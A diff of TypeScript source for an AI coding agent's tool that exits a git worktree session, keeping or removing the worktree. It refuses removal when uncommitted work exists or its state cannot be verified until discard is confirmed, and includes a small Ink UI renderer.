| 64 |
+
commits: number
|
| 65 |
+
}
|
| 66 |
+
|
| 67 |
+
/**
|
| 68 |
+
* Returns null when state cannot be reliably determined — callers that use
|
| 69 |
+
* this as a safety gate must treat null as "unknown, assume unsafe"
|
| 70 |
+
* (fail-closed). A silent 0/0 would let cleanupWorktree destroy real work.
|
| 71 |
+
*
|
| 72 |
+
* Null is returned when:
|
| 73 |
+
* - git status or rev-list exit non-zero (lock file, corrupt index, bad ref)
|
| 74 |
+
* - originalHeadCommit is undefined but git status succeeded — this is the
|
| 75 |
+
* hook-based-worktree-wrapping-git case (worktree.ts:525-532 doesn't set
|
| 76 |
+
* originalHeadCommit). We can see the working tree is git, but cannot count
|
| 77 |
+
* commits without a baseline, so we cannot prove the branch is clean.
|
| 78 |
+
*/
|
| 79 |
+
async function countWorktreeChanges(
|
| 80 |
+
worktreePath: string,
|
| 81 |
+
originalHeadCommit: string | undefined,
|
| 82 |
+
): Promise<ChangeSummary | null> {
|
| 83 |
+
const status = await execFileNoThrow('git', [
|
| 84 |
+
'-C',
|
| 85 |
+
worktreePath,
|
| 86 |
+
'status',
|
| 87 |
+
'--porcelain',
|
| 88 |
+
])
|
| 89 |
+
if (status.code !== 0) {
|
| 90 |
+
return null
|
| 91 |
+
}
|
| 92 |
+
const changedFiles = count(status.stdout.split('\n'), l => l.trim() !== '')
|
| 93 |
+
|
| 94 |
+
if (!originalHeadCommit) {
|
| 95 |
+
// git status succeeded → this is a git repo, but without a baseline
|
| 96 |
+
// commit we cannot count commits. Fail-closed rather than claim 0.
|
| 97 |
+
return null
|
| 98 |
+
}
|
| 99 |
+
|
| 100 |
+
const revList = await execFileNoThrow('git', [
|
| 101 |
+
'-C',
|
| 102 |
+
worktreePath,
|
| 103 |
+
'rev-list',
|
| 104 |
+
'--count',
|
| 105 |
+
`${originalHeadCommit}..HEAD`,
|
| 106 |
+
])
|
| 107 |
+
if (revList.code !== 0) {
|
| 108 |
+
return null
|
| 109 |
+
}
|
| 110 |
+
const commits = parseInt(revList.stdout.trim(), 10) || 0
|
| 111 |
+
|
| 112 |
+
return { changedFiles, commits }
|
| 113 |
+
}
|
| 114 |
+
|
| 115 |
+
/**
|
| 116 |
+
* Restore session state to reflect the original directory.
|
| 117 |
+
* This is the inverse of the session-level mutations in EnterWorktreeTool.call().
|
| 118 |
+
*
|
| 119 |
+
* keepWorktree()/cleanupWorktree() handle process.chdir and currentWorktreeSession;
|
| 120 |
+
* this handles everything above the worktree utility layer.
|
| 121 |
+
*/
|
| 122 |
+
function restoreSessionToOriginalCwd(
|
| 123 |
+
originalCwd: string,
|
| 124 |
+
projectRootIsWorktree: boolean,
|
| 125 |
+
): void {
|
| 126 |
+
setCwd(originalCwd)
|
| 127 |
+
// EnterWorktree sets originalCwd to the *worktree* path (intentional — see
|
| 128 |
+
// state.ts getProjectRoot comment). Reset to the real original.
|
| 129 |
+
setOriginalCwd(originalCwd)
|
| 130 |
+
// --worktree startup sets projectRoot to the worktree; mid-session
|
| 131 |
+
// EnterWorktreeTool does not. Only restore when it was actually changed —
|
| 132 |
+
// otherwise we'd move projectRoot to wherever the user had cd'd before
|
| 133 |
+
// entering the worktree (session.originalCwd), breaking the "stable project
|
| 134 |
+
// identity" contract.
|
| 135 |
+
if (projectRootIsWorktree) {
|
| 136 |
+
setProjectRoot(originalCwd)
|
| 137 |
+
// setup.ts's --worktree block called updateHooksConfigSnapshot() to re-read
|
| 138 |
+
// hooks from the worktree. Restore symmetrically. (Mid-session
|
| 139 |
+
// EnterWorktreeTool never touched the snapshot, so no-op there.)
|
| 140 |
+
updateHooksConfigSnapshot()
|
| 141 |
+
}
|
| 142 |
+
saveWorktreeState(null)
|
| 143 |
+
clearSystemPromptSections()
|
| 144 |
+
clearMemoryFileCaches()
|
| 145 |
+
getPlansDirectory.cache.clear?.()
|
| 146 |
+
}
|
| 147 |
+
|
| 148 |
+
export const ExitWorktreeTool: Tool<InputSchema, Output> = buildTool({
|
| 149 |
+
name: EXIT_WORKTREE_TOOL_NAME,
|
| 150 |
+
searchHint: 'exit a worktree session and return to the original directory',
|
| 151 |
+
maxResultSizeChars: 100_000,
|
| 152 |
+
async description() {
|
| 153 |
+
return 'Exits a worktree session created by EnterWorktree and restores the original working directory'
|
| 154 |
+
},
|
| 155 |
+
async prompt() {
|
| 156 |
+
return getExitWorktreeToolPrompt()
|
| 157 |
+
},
|
| 158 |
+
get inputSchema(): InputSchema {
|
| 159 |
+
return inputSchema()
|
| 160 |
+
},
|
| 161 |
+
get outputSchema(): OutputSchema {
|
| 162 |
+
return outputSchema()
|
| 163 |
+
},
|
| 164 |
+
userFacingName() {
|
| 165 |
+
return 'Exiting worktree'
|
| 166 |
+
},
|
| 167 |
+
shouldDefer: true,
|
| 168 |
+
isDestructive(input) {
|
| 169 |
+
return input.action === 'remove'
|
| 170 |
+
},
|
| 171 |
+
toAutoClassifierInput(input) {
|
| 172 |
+
return input.action
|
| 173 |
+
},
|
| 174 |
+
async validateInput(input) {
|
| 175 |
+
// Scope guard: getCurrentWorktreeSession() is null unless EnterWorktree
|
| 176 |
+
// (specifically createWorktreeForSession) ran in THIS session. Worktrees
|
| 177 |
+
// created by `git worktree add`, or by EnterWorktree in a previous
|
| 178 |
+
// session, do not populate it. This is the sole entry gate — everything
|
| 179 |
+
// past this point operates on a path EnterWorktree created.
|
| 180 |
+
const session = getCurrentWorktreeSession()
|
| 181 |
+
if (!session) {
|
| 182 |
+
return {
|
| 183 |
+
result: false,
|
| 184 |
+
message:
|
| 185 |
+
'No-op: there is no active EnterWorktree session to exit. This tool only operates on worktrees created by EnterWorktree in the current session — it will not touch worktrees created manually or in a previous session. No filesystem changes were made.',
|
| 186 |
+
errorCode: 1,
|
| 187 |
+
}
|
| 188 |
+
}
|
| 189 |
+
|
| 190 |
+
if (input.action === 'remove' && !input.discard_changes) {
|
| 191 |
+
const summary = await countWorktreeChanges(
|
| 192 |
+
session.worktreePath,
|
| 193 |
+
session.originalHeadCommit,
|
| 194 |
+
)
|
| 195 |
+
if (summary === null) {
|
| 196 |
+
return {
|
| 197 |
+
result: false,
|
| 198 |
+
message: `Could not verify worktree state at ${session.worktreePath}. Refusing to remove without explicit confirmation. Re-invoke with discard_changes: true to proceed — or use action: "keep" to preserve the worktree.`,
|
| 199 |
+
errorCode: 3,
|
| 200 |
+
}
|
| 201 |
+
}
|
| 202 |
+
const { changedFiles, commits } = summary
|
| 203 |
+
if (changedFiles > 0 || commits > 0) {
|
| 204 |
+
const parts: string[] = []
|
| 205 |
+
if (changedFiles > 0) {
|
| 206 |
+
parts.push(
|
| 207 |
+
`${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
|
| 208 |
+
)
|
| 209 |
+
}
|
| 210 |
+
if (commits > 0) {
|
| 211 |
+
parts.push(
|
| 212 |
+
`${commits} ${commits === 1 ? 'commit' : 'commits'} on ${session.worktreeBranch ?? 'the worktree branch'}`,
|
| 213 |
+
)
|
| 214 |
+
}
|
| 215 |
+
return {
|
| 216 |
+
result: false,
|
| 217 |
+
message: `Worktree has ${parts.join(' and ')}. Removing will discard this work permanently. Confirm with the user, then re-invoke with discard_changes: true — or use action: "keep" to preserve the worktree.`,
|
| 218 |
+
errorCode: 2,
|
| 219 |
+
}
|
| 220 |
+
}
|
| 221 |
+
}
|
| 222 |
+
|
| 223 |
+
return { result: true }
|
| 224 |
+
},
|
| 225 |
+
renderToolUseMessage,
|
| 226 |
+
renderToolResultMessage,
|
| 227 |
+
async call(input) {
|
| 228 |
+
const session = getCurrentWorktreeSession()
|
| 229 |
+
if (!session) {
|
| 230 |
+
// validateInput guards this, but the session is module-level mutable
|
| 231 |
+
// state — defend against a race between validation and execution.
|
| 232 |
+
throw new Error('Not in a worktree session')
|
| 233 |
+
}
|
| 234 |
+
|
| 235 |
+
// Capture before keepWorktree/cleanupWorktree null out currentWorktreeSession.
|
| 236 |
+
const {
|
| 237 |
+
originalCwd,
|
| 238 |
+
worktreePath,
|
| 239 |
+
worktreeBranch,
|
| 240 |
+
tmuxSessionName,
|
| 241 |
+
originalHeadCommit,
|
| 242 |
+
} = session
|
| 243 |
+
|
| 244 |
+
// --worktree startup calls setOriginalCwd(getCwd()) and
|
| 245 |
+
// setProjectRoot(getCwd()) back-to-back right after setCwd(worktreePath)
|
| 246 |
+
// (setup.ts:235/239), so both hold the same realpath'd value and BashTool
|
| 247 |
+
// cd never touches either. Mid-session EnterWorktreeTool sets originalCwd
|
| 248 |
+
// but NOT projectRoot. (Can't use getCwd() — BashTool mutates it on every
|
| 249 |
+
// cd. Can't use session.worktreePath — it's join()'d, not realpath'd.)
|
| 250 |
+
const projectRootIsWorktree = getProjectRoot() === getOriginalCwd()
|
| 251 |
+
|
| 252 |
+
// Re-count at execution time for accurate analytics and output — the
|
| 253 |
+
// worktree state at validateInput time may not match now. Null (git
|
| 254 |
+
// failure) falls back to 0/0; safety gating already happened in
|
| 255 |
+
// validateInput, so this only affects analytics + messaging.
|
| 256 |
+
const { changedFiles, commits } = (await countWorktreeChanges(
|
| 257 |
+
worktreePath,
|
| 258 |
+
originalHeadCommit,
|
| 259 |
+
)) ?? { changedFiles: 0, commits: 0 }
|
| 260 |
+
|
| 261 |
+
if (input.action === 'keep') {
|
| 262 |
+
await keepWorktree()
|
| 263 |
+
restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
|
| 264 |
+
|
| 265 |
+
logEvent('tengu_worktree_kept', {
|
| 266 |
+
mid_session: true,
|
| 267 |
+
commits,
|
| 268 |
+
changed_files: changedFiles,
|
| 269 |
+
})
|
| 270 |
+
|
| 271 |
+
const tmuxNote = tmuxSessionName
|
| 272 |
+
? ` Tmux session ${tmuxSessionName} is still running; reattach with: tmux attach -t ${tmuxSessionName}`
|
| 273 |
+
: ''
|
| 274 |
+
return {
|
| 275 |
+
data: {
|
| 276 |
+
action: 'keep' as const,
|
| 277 |
+
originalCwd,
|
| 278 |
+
worktreePath,
|
| 279 |
+
worktreeBranch,
|
| 280 |
+
tmuxSessionName,
|
| 281 |
+
message: `Exited worktree. Your work is preserved at ${worktreePath}${worktreeBranch ? ` on branch ${worktreeBranch}` : ''}. Session is now back in ${originalCwd}.${tmuxNote}`,
|
| 282 |
+
},
|
| 283 |
+
}
|
| 284 |
+
}
|
| 285 |
+
|
| 286 |
+
// action === 'remove'
|
| 287 |
+
if (tmuxSessionName) {
|
| 288 |
+
await killTmuxSession(tmuxSessionName)
|
| 289 |
+
}
|
| 290 |
+
await cleanupWorktree()
|
| 291 |
+
restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
|
| 292 |
+
|
| 293 |
+
logEvent('tengu_worktree_removed', {
|
| 294 |
+
mid_session: true,
|
| 295 |
+
commits,
|
| 296 |
+
changed_files: changedFiles,
|
| 297 |
+
})
|
| 298 |
+
|
| 299 |
+
const discardParts: string[] = []
|
| 300 |
+
if (commits > 0) {
|
| 301 |
+
discardParts.push(`${commits} ${commits === 1 ? 'commit' : 'commits'}`)
|
| 302 |
+
}
|
| 303 |
+
if (changedFiles > 0) {
|
| 304 |
+
discardParts.push(
|
| 305 |
+
`${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
|
| 306 |
+
)
|
| 307 |
+
}
|
| 308 |
+
const discardNote =
|
| 309 |
+
discardParts.length > 0 ? ` Discarded ${discardParts.join(' and ')}.` : ''
|
| 310 |
+
return {
|
| 311 |
+
data: {
|
| 312 |
+
action: 'remove' as const,
|
| 313 |
+
originalCwd,
|
| 314 |
+
worktreePath,
|
| 315 |
+
worktreeBranch,
|
| 316 |
+
discardedFiles: changedFiles,
|
| 317 |
+
discardedCommits: commits,
|
| 318 |
+
message: `Exited and removed worktree at ${worktreePath}.${discardNote} Session is now back in ${originalCwd}.`,
|
| 319 |
+
},
|
| 320 |
+
}
|
| 321 |
+
},
|
| 322 |
+
mapToolResultToToolResultBlockParam({ message }, toolUseID) {
|
| 323 |
+
return {
|
| 324 |
+
type: 'tool_result',
|
| 325 |
+
content: message,
|
| 326 |
+
tool_use_id: toolUseID,
|
| 327 |
+
}
|
| 328 |
+
},
|
| 329 |
+
} satisfies ToolDef<InputSchema, Output>)
|
src/tools/ExitWorktreeTool/UI.tsx
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import * as React from 'react';
|
| 2 |
+
import { Box, Text } from '../../ink.js';
|
| 3 |
+
import type { ToolProgressData } from '../../Tool.js';
|
| 4 |
+
import type { ProgressMessage } from '../../types/message.js';
|
| 5 |
+
import type { ThemeName } from '../../utils/theme.js';
|
| 6 |
+
import type { Output } from './ExitWorktreeTool.js';
|
| 7 |
+
export function renderToolUseMessage(): React.ReactNode {
|
| 8 |
+
return 'Exiting worktree…';
|
| 9 |
+
}
|
| 10 |
+
export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
|
| 11 |
+
theme: ThemeName;
|
| 12 |
+
}): React.ReactNode {
|
| 13 |
+
const actionLabel = output.action === 'keep' ? 'Kept worktree' : 'Removed worktree';
|
| 14 |
+
return <Box flexDirection="column">
|
| 15 |
+
<Text>
|
| 16 |
+
{actionLabel}
|
| 17 |
+
{output.worktreeBranch ? <>
|
| 18 |
+
{' '}
|
| 19 |
+
(branch <Text bold>{output.worktreeBranch}</Text>)
|
| 20 |
+
</> : null}
|
| 21 |
+
</Text>
|
| 22 |
+
<Text dimColor>Returned to {output.originalCwd}</Text>
|
| 23 |
+
</Box>;
|
| 24 |
+
}
|
| 25 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJhY3Rpb25MYWJlbCIsImFjdGlvbiIsIndvcmt0cmVlQnJhbmNoIiwib3JpZ2luYWxDd2QiXSwic291cmNlcyI6WyJVSS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xQcm9ncmVzc0RhdGEgfSBmcm9tICcuLi8uLi9Ub29sLmpzJ1xuaW1wb3J0IHR5cGUgeyBQcm9ncmVzc01lc3NhZ2UgfSBmcm9tICcuLi8uLi90eXBlcy9tZXNzYWdlLmpzJ1xuaW1wb3J0IHR5cGUgeyBUaGVtZU5hbWUgfSBmcm9tICcuLi8uLi91dGlscy90aGVtZS5qcydcbmltcG9ydCB0eXBlIHsgT3V0cHV0IH0gZnJvbSAnLi9FeGl0V29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuICdFeGl0aW5nIHdvcmt0cmVl4oCmJ1xufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2UoXG4gIG91dHB1dDogT3V0cHV0LFxuICBfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U6IFByb2dyZXNzTWVzc2FnZTxUb29sUHJvZ3Jlc3NEYXRhPltdLFxuICBfb3B0aW9uczogeyB0aGVtZTogVGhlbWVOYW1lIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBhY3Rpb25MYWJlbCA9XG4gICAgb3V0cHV0LmFjdGlvbiA9PT0gJ2tlZXAnID8gJ0tlcHQgd29ya3RyZWUnIDogJ1JlbW92ZWQgd29ya3RyZWUnXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICA8VGV4dD5cbiAgICAgICAge2FjdGlvbkxhYmVsfVxuICAgICAgICB7b3V0cHV0Lndvcmt0cmVlQnJhbmNoID8gKFxuICAgICAgICAgIDw+XG4gICAgICAgICAgICB7JyAnfVxuICAgICAgICAgICAgKGJyYW5jaCA8VGV4dCBib2xkPntvdXRwdXQud29ya3RyZWVCcmFuY2h9PC9UZXh0PilcbiAgICAgICAgICA8Lz5cbiAgICAgICAgKSA6IG51bGx9XG4gICAgICA8L1RleHQ+XG4gICAgICA8VGV4dCBkaW1Db2xvcj5SZXR1cm5lZCB0byB7b3V0cHV0Lm9yaWdpbmFsQ3dkfTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHVCQUF1QjtBQUVuRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sbUJBQW1CO0FBQzVCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsTUFBTU0sV0FBVyxHQUNmSixNQUFNLENBQUNLLE1BQU0sS0FBSyxNQUFNLEdBQUcsZUFBZSxHQUFHLGtCQUFrQjtFQUNqRSxPQUNFLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxRQUFRO0FBQy9CLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsUUFBUSxDQUFDRCxXQUFXO0FBQ3BCLFFBQVEsQ0FBQ0osTUFBTSxDQUFDTSxjQUFjLEdBQ3BCO0FBQ1YsWUFBWSxDQUFDLEdBQUc7QUFDaEIsb0JBQW9CLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxDQUFDTixNQUFNLENBQUNNLGNBQWMsQ0FBQyxFQUFFLElBQUksQ0FBQztBQUM3RCxVQUFVLEdBQUcsR0FDRCxJQUFJO0FBQ2hCLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsWUFBWSxDQUFDTixNQUFNLENBQUNPLFdBQVcsQ0FBQyxFQUFFLElBQUk7QUFDM0QsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119
|